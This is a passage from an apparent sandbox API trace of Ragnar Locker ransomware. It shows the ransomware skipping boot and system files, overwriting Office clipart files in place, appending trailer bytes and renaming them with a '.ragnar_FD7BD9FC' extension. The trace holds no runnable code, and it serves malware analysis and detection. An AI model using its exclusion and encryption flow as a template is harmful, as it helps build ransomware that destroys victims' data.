lpString2="bootmgr") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="bootmgr.efi") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="bootmgfw.efi") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="desktop.ini") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="iconcache.db") returned 1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="ntldr") returned -1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="ntuser.dat") returned -1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="ntuser.dat.log") returned -1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="ntuser.ini") returned -1 [0084.317] lstrcmpiW (lpString1="J0107484.WMF", lpString2="thumbs.db") returned -1 [0084.317] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.317] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.317] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.318] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.318] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.318] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.318] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf")) returned 0x20 [0084.318] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.319] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3040) returned 1 [0084.319] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbd7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.319] GetProcessHeap () returned 0x580000 [0084.319] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.319] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.320] VirtualAlloc (lpAddress=0x0, dwSize=0xbe0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.320] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.321] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xbe0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xbe0, lpOverlapped=0x0) returned 1 [0084.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbe0, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.321] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xbe0, lpOverlapped=0x0) returned 1 [0084.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbe0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.321] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.321] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xbe0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.321] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.321] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.321] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.321] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.321] GetProcessHeap () returned 0x580000 [0084.321] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.322] CloseHandle (hObject=0xf4) returned 1 [0084.322] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" [0084.322] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ragnar_FD7BD9FC" [0084.322] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107484.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107484.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.322] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0084.322] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.322] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107488.WMF" | out: lpString1="J0107488.WMF") returned="J0107488.WMF" [0084.323] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned=".WMF" [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="autorun.inf") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="boot.ini") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="bootfont.bin") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="bootsect.bak") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="bootmgr") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="bootmgr.efi") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="bootmgfw.efi") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="desktop.ini") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="iconcache.db") returned 1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="ntldr") returned -1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="ntuser.dat") returned -1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="ntuser.dat.log") returned -1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="ntuser.ini") returned -1 [0084.323] lstrcmpiW (lpString1="J0107488.WMF", lpString2="thumbs.db") returned -1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.323] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.323] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf")) returned 0x20 [0084.323] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.324] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8000) returned 1 [0084.324] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.324] GetProcessHeap () returned 0x580000 [0084.324] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.324] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.325] VirtualAlloc (lpAddress=0x0, dwSize=0x1f40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.325] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.325] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1f40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1f40, lpOverlapped=0x0) returned 1 [0084.326] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.326] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f40, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.326] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1f40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1f40, lpOverlapped=0x0) returned 1 [0084.326] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.327] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.327] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1f40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.327] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.327] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.327] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.327] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.327] GetProcessHeap () returned 0x580000 [0084.327] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.327] CloseHandle (hObject=0xf4) returned 1 [0084.327] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" [0084.327] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ragnar_FD7BD9FC" [0084.327] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107488.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107488.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.328] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0084.328] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.328] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107490.WMF" | out: lpString1="J0107490.WMF") returned="J0107490.WMF" [0084.328] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned=".WMF" [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="autorun.inf") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="boot.ini") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="bootfont.bin") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="bootsect.bak") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="bootmgr") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="bootmgr.efi") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="bootmgfw.efi") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="desktop.ini") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="iconcache.db") returned 1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="ntldr") returned -1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="ntuser.dat") returned -1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="ntuser.dat.log") returned -1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="ntuser.ini") returned -1 [0084.328] lstrcmpiW (lpString1="J0107490.WMF", lpString2="thumbs.db") returned -1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.329] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.329] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 0x20 [0084.329] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.330] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=16468) returned 1 [0084.330] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x404b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.330] GetProcessHeap () returned 0x580000 [0084.330] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.330] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.331] VirtualAlloc (lpAddress=0x0, dwSize=0x4054, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.331] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.332] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.332] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4054, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4054, lpOverlapped=0x0) returned 1 [0084.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.333] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4054, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.333] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4054, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4054, lpOverlapped=0x0) returned 1 [0084.333] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4054, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.333] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.333] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x4054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.333] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.333] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.333] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.334] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.334] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.334] GetProcessHeap () returned 0x580000 [0084.334] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.334] CloseHandle (hObject=0xf4) returned 1 [0084.334] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" [0084.334] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ragnar_FD7BD9FC" [0084.334] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.334] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0084.334] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.334] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0107492.WMF" | out: lpString1="J0107492.WMF") returned="J0107492.WMF" [0084.335] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned=".WMF" [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="autorun.inf") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="boot.ini") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="bootfont.bin") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="bootsect.bak") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="bootmgr") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="bootmgr.efi") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="bootmgfw.efi") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="desktop.ini") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="iconcache.db") returned 1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="ntldr") returned -1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="ntuser.dat") returned -1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="ntuser.dat.log") returned -1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="ntuser.ini") returned -1 [0084.335] lstrcmpiW (lpString1="J0107492.WMF", lpString2="thumbs.db") returned -1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.335] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 